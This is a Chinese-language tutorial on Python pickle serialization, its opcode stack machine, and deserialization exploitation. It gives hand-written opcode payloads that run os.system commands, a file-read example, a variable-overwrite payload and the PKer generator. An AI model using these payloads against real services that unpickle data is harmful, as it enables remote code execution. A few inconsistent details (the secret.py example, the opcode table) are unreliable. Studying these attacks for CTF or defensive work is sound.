什么是pickle?
Pickle 是一个用于序列化和反序列化的 Python 库。它允许将复杂的对象,如字典、列表或其他Python对象,转换为字符串格式进 行存储或传输,并能在需要时恢复原始对象。
与php类似的,python也有序列化功能以长期储存内存中的数据,pickle是python下的序列化与反序列化包
python有另一个更原始的序列化包marshal,现在开发一般使用pickle
pickle实际可以看作一种独立的语言,通过对opcode的更改编写可执行python代码,覆盖变量等操作,直接编写opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(解析能力大于生成能力)
主要功能
- 序列化:将Python对象转换为字节形式(二进制数据)。
- 反序列化:将字节形式的数据转换回原生Python对象。
- 持久化:保存对象到文件中,便于后续使用或传输。
使用场景
- 数据存储:将需要长期使用的对象持久化,避免重复处理。
- 模型持久化:在机器学习中,用于将训练好的模型保存为字节形式,以便 future 使用。
- 远程通信:将对象发送到远程服务器后,再进行反序列化以获取数据。
前置知识
python对象
对象是数据和功能的结合体。Python是一种面向对象编程语言,它使用对象来组织代码和数据。在Python中,几乎所有的东西都是对象,包括整数、浮点数、列表、元组、字典、函数、类等。
一个Python对象通常包含以下部分:
身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数id()来获取对象的身份。
类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数type()来获取对象的类型。
值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列。
属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息。
方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作。
python面向对象
面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php有所不同而已
python中调用实例的属性和方法
python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__
魔术方法.调用类属性的方法是类名.变量名
或者self.__class__.变量名
.
同样地,python的面向对象也有私有属性,私有方法,类的继承等.
序列化和反序列化
序列化
就是将一个对象转换为以字符串方式存储的过程
反序列化
就是将字符串重新变为一个对象的实例.
Linux中和Windows中可能会不同
可序列化的对象
- None、Ture和False
- 整数,浮点数,复数
- byte,str
- 只包含可封存对象的集合,包括list,set,dict和tuple
- 定义在模块最外层的函数(def定义)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
- 某些类实例,这些类的
__dict__
属性值或__getstate__()
函数的返回值可以被打包
序列化和反序列化的函数
1. pickle.dump()
- 功能:将 Python 对象序列化后写入到一个文件对象中。
- 语法:
pickle.dump(obj, file, protocol=None)
obj
:要序列化的 Python 对象。file
:一个以二进制写入模式('wb'
)打开的文件对象。protocol
:指定序列化协议的版本,可选参数,默认值为None
,表示使用最高可用协议。- 示例:
import pickle
data = {'name': 'Alice', 'age': 25}
with open('data.pickle', 'wb') as f:
pickle.dump(data, f)
2. pickle.load()
- 功能:从一个文件对象中读取序列化的数据,并将其反序列化为 Python 对象。
- 语法:
pickle.load(file)
file
:一个以二进制读取模式('rb'
)打开的文件对象。- 示例:结合上面
pickle.dump()
的示例,读取并反序列化数据
import pickle
with open('data.pickle', 'rb') as f:
loaded_data = pickle.load(f)
print(loaded_data)
3. pickle.dumps()
- 功能:将 Python 对象序列化后返回一个字节对象,而不是写入文件。
- 语法:
pickle.dumps(obj, protocol=None)
obj
:要序列化的 Python 对象。protocol
:指定序列化协议的版本,可选参数,默认值为None
,表示使用最高可用协议。- 示例:
import pickle
data = [1, 2, 3, 4, 5]
serialized_data = pickle.dumps(data)
print(serialized_data)
4. pickle.loads()
- 功能:从字节对象中读取序列化的数据,并将其反序列化为 Python 对象。
- 语法:
pickle.loads(bytes_object)
bytes_object
:包含序列化数据的字节对象。- 示例:结合上面
pickle.dumps()
的示例,反序列化字节对象:
import pickle
data = [1, 2, 3, 4, 5]
serialized_data = pickle.dumps(data)
deserialized_data = pickle.loads(serialized_data)
print(deserialized_data)
总结
pickle.dump()
和pickle.load()
主要l用于将对象序列化到文件和从文件中反序列化对象,适用于数据持久化存储的场景。pickle.dumps()
和pickle.loads()
主要用于将对象序列化为字节对象和从字节对象中反序列化对象,适用于在内存中进行对象的序列化和反序列化,例如在网络传输中。
简单的例子
import pickle
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle
常见方法
objec.___reduce__()
__reduce__()
其实是object类中的一个魔术方法,我们可以通过这个函数重写类,使之在被实例化时按照重写的方式进行
python要求object.__reduce__()
返回一个(callable,([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)
pickle的opcode(操作码)中,R的作用于object.__reduce__()
关系密切:选择栈上的第一个对象作为函数,第二个对象作为参数(第二个对象必须为元组),然后调用该函数,其实R正好对应object.__reduce__()
的返回值会作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的
解释一下opcode
在 Python 的 pickle 模块中,opcode(操作码)指的是构成 pickle 数据流的基本指令单元
可以这样理解:
当你使用 pickle.dump() 或 pickle.dumps() 把一个 Python 对象序列化时,pickle 模块会将这个对象编码成一个字节流。这个字节流其实就是一系列opcode + 参数组成的“指令集”,这些指令告诉 pickle 在反序列化时(load() 或 loads())如何一步步地还原对象
举个简单的例子
import pickle
data = [1, 2, 3]
b = pickle.dumps(data, protocol=0)
print(b.decode())
-------------------------------------------
(lp0
I1
I2
I3
a.
下面这段是protocol 0的pickle格式,他是纯文本格式
具体解释如下
( → MARK:标记开始一个新对象(比如列表)
l → LIST:表示接下来要创建一个列表
p0 → PUT 0:把这个列表对象放到 memo 字典中的 key=0 的位置
I1 → INT 1:整数1
I2 → INT 2:整数2
I3 → INT 3:整数3
a → APPEND:把前面那个值加入列表
. → STOP:结束
其中opcode就是构成pickle序列的机器语言指令
每个opcode通常是一个字符或字节,表示一个操作
pickletools模块可以用来反汇编pickle字节流,查看每个opcode和其含义
示例:
import pickletools
import pickle
obj = {"name": "Nick", "age": 18}
b = pickle.dumps(obj, protocol=2)
pickletools.dis(b)
-------------------------------------------
0: \x80 PROTO 2
2: } EMPTY_DICT
3: q BINPUT 0
5: ( MARK
6: X BINUNICODE 'name'
15: q BINPUT 1
17: X BINUNICODE 'Nick'
26: q BINPUT 2
28: X BINUNICODE 'age'
36: q BINPUT 3
38: K BININT1 18
40: u SETITEMS (MARK at 5)
41: . STOP
highest protocol among opcodes = 2
对opcode的一步步解释
偏移 操作码 含义
0 \x80 PROTO 2 使用 protocol 2(pickle 的二进制协议)
2 } EMPTY_DICT 创建一个空字典
3 q BINPUT 0 把这个空字典存入 memo 表第 0 个位置(为了后续引用)
5 ( MARK 标记序列的开始(用来组合多项)
6 U SHORT_BINSTRING 'name' 压入键 "name"
12 U SHORT_BINSTRING 'Nick' 压入值 "Nick"
18 U SHORT_BINSTRING 'age' 压入键 "age"
23 K BININT1 18 压入值 18(1 字节整数)
25 u SETITEMS 将栈上多个 key:value 对加入到字典中
26 . STOP 结束 pickle 流
Pickle的工作原理
其实可以把Pickle看作一种独立的栈语言,它由一串串opcode(指令集)组成
该语言的解析是依靠Pickle virtual machine(PVM)进行的
PVM由以下三部分组成
- 解析引擎(指令处理器):从流中读取opcode和参数,并对其进行解释处理,重复这个动作,知道遇到
.
这个结束符后停止,最终留在栈顶的值将被作为反序列化对象返回 - 栈(stack):由python的list实现,被用来临时存储数据,参数以及对象
- 内存(memo):由python的dict实现,为PVM的整个生命周期提供存储
PVM解析str的动图:
具体是讲Pickle模块的opcode执行过程,特别是如何构建一个tuple对象的
( ← MARK
S'str1' ← 推入字符串 'str1'
S'str2' ← 推入字符串 'str2'
I1234 ← 推入整数 1234
t ← TUPLE
( → MARK
标记当前栈的位置(用来构建容器,比如 tuple)。这不是压入值,只是做个“记号”。
S'str1' → STRING 'str1'
把字符串 'str1' 压入栈中。
S'str2' → STRING 'str2'
压入字符串 'str2'。
I1234 → INT 1234
压入整数 1234
t → TUPLE
这个操作会把自上一次 MARK 之后的所有值收集起来,打包成一个 tuple
最终栈的状态,即:('str1', 'str2', 1234)
这个tuple会代替原来的几项,被压入栈中
PVM使用__reduce__
动图:
1. c__builtin__\nfile → GLOBAL '__builtin__ file'
这是 pickle 中的 GLOBAL 指令。
它表示:“从模块 __builtin__ 中加载名字叫 file 的东西”(在 Python 2 中,file 是内建类)。
相当于执行了:
__import__('__builtin__').file
栈状态:栈顶是 <file> 函数/类对象。
⚠️ 注意:这在 Python 3 会变成 _io.TextIOWrapper 或 open()。
2. ( → MARK
放一个栈标记,告诉后面的指令:“我要开始收集参数了”。
3. S'/etc/passwd' → STRING '/etc/passwd'
压入一个字符串参数 '/etc/passwd'(Linux 下的系统文件路径)。
4. t → TUPLE
把自 MARK 以来的所有参数打包成一个 tuple。
相当于构造参数列表:
('/etc/passwd',)
5. R → REDUCE
它的作用是:
<函数或类对象>(*args)
在这里就是:
file('/etc/passwd')
在 Python 2 中,这会打开文件 /etc/passwd 并返回一个 file 对象!
如果后续 pickle.load() 时反序列化了这个对象,那就等于执行了文件访问操作
详细解释一下,R指令其实就是
拿栈顶的 函数/类对象 和它下面的 参数 tuple,然后执行:func(*args),把结果放回栈顶
即:打包参数成 tuple → 用 R 把参数应用到函数或类上 → 得到一个新的对象
这边搞了一个简单的示例图:
┌──────────────────┐
│ c__builtin__ file │ → 栈.push(file类对象)
└──────────────────┘
↓
┌────┐
│ ( │ → 栈.push(MARK)
└────┘
↓
┌───────────────────────┐
│ S'/etc/passwd' │ → 栈.push('/etc/passwd')
└───────────────────────┘
↓
┌────┐
│ t │ → 把 MARK 后内容打包成 ('/etc/passwd',)
└────┘
↓
┌────┐
│ R │ → 执行 file('/etc/passwd') → 结果对象压回栈
└────┘
pickling协议
pickling的协议共有五种
- v0版协议是原始的可读协议,并且向后兼容早起版本的python
- v1版协议是较早的二进制格式,与python1.6出现,它也与早期的版本的python也兼容
- v2版协议是在python2.3中引入的,优化对象共享
- v3版协议是python3.0后引入的,专门为python3设计,支持bytes类型,但是python2无法读取
- v4版协议是python3.4后引入的,支持超大对象,递归深对象,减少拷贝,主要是为大数据准备
- v5版协议是python3.8后出现的,支持out-of-band数据传输(带外),支持大型神经网络模型使用
协议是向前兼容的
可以用脚本测试去看看各个版本的协议
import pickle
data = ['hello', 'world']
# 用 protocol 0
pickled0 = pickle.dumps(data, protocol=0)#自行修改即可
# 用最新协议
pickled_latest = pickle.dumps(data, protocol=pickle.HIGHEST_PROTOCOL)
print(pickled0)
print(pickled_latest)
常用opcode
以v0为例
指令 | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块,或者说c 指令 = GLOBAL | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、’等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
pickletools模块
可以使用pickletools模块,将opcode转换成方便阅读的形式
import pickletools
opcode=b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)
----------------------------------------
0: c GLOBAL 'os system' # 导入 os.system
11: ( MARK
12: S STRING 'whoami' # 放入字符串 'whoami'
22: t TUPLE (MARK at 11) # 把 MARK 之后的元素打包成 tuple
23: R REDUCE # 调用 os.system('whoami')
24: . STOP # 结束
highest protocol among opcodes = 0
一步步解释一下:
c GLOBAL 从全局命名空间找一个对象(os system)
( MARK 开一个"括号"标记,后面要打包tuple
S STRING 读取一个字符串 'whoami'
t TUPLE 把MARK到现在的内容打包成一个 tuple
R REDUCE 把 GLOBAL 得到的 callable 应用到这个 tuple 上,也就是 os.system('whoami')
. STOP 结束整个pickle流
漏洞利用方式
命令执行
可以用__reduce__
方法重写,从而在反序列化时执行任意命令,如果想一次执行多个命令就得手写opcode了
.
是程序结束的标志,可以通过去掉.
来将两个字节流拼接起来
import pickle
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#结果如下
xiaoh\34946
xiaoh\34946
R指令
在 Pickle 的世界里, R
= REDUCE(还原、恢复)
它干一件事情:
拿一个可调用的对象(通常是一个类或函数)+ 参数,调用它,产生一个新的对象。
简单粗暴一句话: R
就是 调用(对象, 参数)
opcode=b'''cos
system
(S'whoami'
tR.'''
i指令
i是INST指令,代表创建对象实例
格式:
i<module>\n<class>\n
(MARK
...(args)...
t
b
i后面跟着模块名+类名
接着用MARK开始打包传给类构造器的参数(其实是一个tuple)
最后通过build或其他指令来完成实例化
相当于c和o的组合,先获取一个全局函数,然后寻找栈上一个MARK,并且组合之间的数据位元组,以该元组为参数执行全局函数
opcode=b'''(S'whoami'
ios
system
.'''
o指令
协议0里,o是指令OBJ
通过模块和类名创建对象,并且通过build()方式补充属性
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
格式:
o <module>\n<class>\n
( MARK
(args)
t TUPLE
(attr dict)
b BUILD
. STOP
也就是:
o 指出要实例化哪个模块的哪个类
用 ( 开始收集传给构造器 __init__ 的参数
用 t 把参数打成一个 tuple
可以通过 d 建立一个 dict 来存对象属性
b 把属性 dict 应用到对象
. 结束
opcode=b'''(cos
system
S'whoami'
o.'''
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下部分系统命令函数为os.system(),在部分Linux下则为posix.system()
并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用
变量覆盖
在session或token中,由于需要存储一些用户信息,所以能看到pickle,程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户身份
如果session或token是以明文的方式进行存储的,我们就可以通过变量覆盖来进行伪造身份
# secret.py
name='TEST3213qkfsmfo'
import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
ssss=pickle.loads(opcode)
print("secret变量的值为:"+ssss.secret)
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!
db.就是:构造一个字典,然后直接写入目标对象的__dict__
,相当于直接给对象加(或者覆盖)属性和值
是将hack!!!写进secret这个模块对象,而且通过改__dict__
来做的覆盖的
通过c来获取__main__.secret模块,然后将字符串secret和Hack!!!压入栈中,然后通过字节码d将两个字符串组合成字典{'secret':'Hack!!!'}的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key",是以{'secret':'This is a key'}形式存储的。最后再通过字节码b来执行__dict__.update(),即{'secret':'This is a key'}.update({'secret':'Hack!!!'}),因此最终secret变量的值被覆盖成了Hack!!!
实例化对象
实例化对象是一种特殊的函数执行,这里简单的使用 R
构造一下,其他方式类似:
class Student:
def __init__(self, name, age):
self.name = name
self.age = age
data=b'''c__main__
Student
(S'Sun'
S"19"
tR.'''
a=pickle.loads(data)
print(a.name,a.age)
行 | 指令 | 作用 |
---|---|---|
c__main__\nStudent\n | c (GLOBAL) | 引用 __main__.Student 这个类(注意,是类,不是对象)。 |
( | MARK | 标记栈位置,准备打包一组参数。 |
S'Sun' | STRING | 压入字符串 'Sun' (名字) |
S"19" | STRING | 压入字符串 "19" (年龄) |
t | TUPLE | 把上面两个元素打包成一个 tuple:('Sun', '19') |
R | REDUCE | 这个很关键 ➔ 用 Student 类 和 参数 ('Sun', '19') ,去调用 Student('Sun', '19') 来创建对象 |
. | STOP | 结束序列化。 |
PKer
Pker是什么
PKer是遍历Python AST的形式来自动化解析pickle opcode的工具
可以实现
- 变量赋值:存到memo中,保存memo下标和变量名即可
- 函数调用
- 类型字面量构造
- list和dict成员修改
- 对象成员变量修改
解析器原理
PKer的使用
pickle最主要就是三个函数GLOBAL()
、INST()
和OBJ()
GLOBAL('os', 'system') => cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
return可以返回一个对象
return => .
return var => g_\n.
return 1 => I1\n.
也可以这样
#pker_test.py
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py
b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)
INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para
OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para
xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值
xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置
return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
对于PKer的详细使用后面会加上,不要太过于依赖PKer可以多试试手搓opcode,用PKer作为辅助练习
例题过段时间再加上,最近一直在忙东西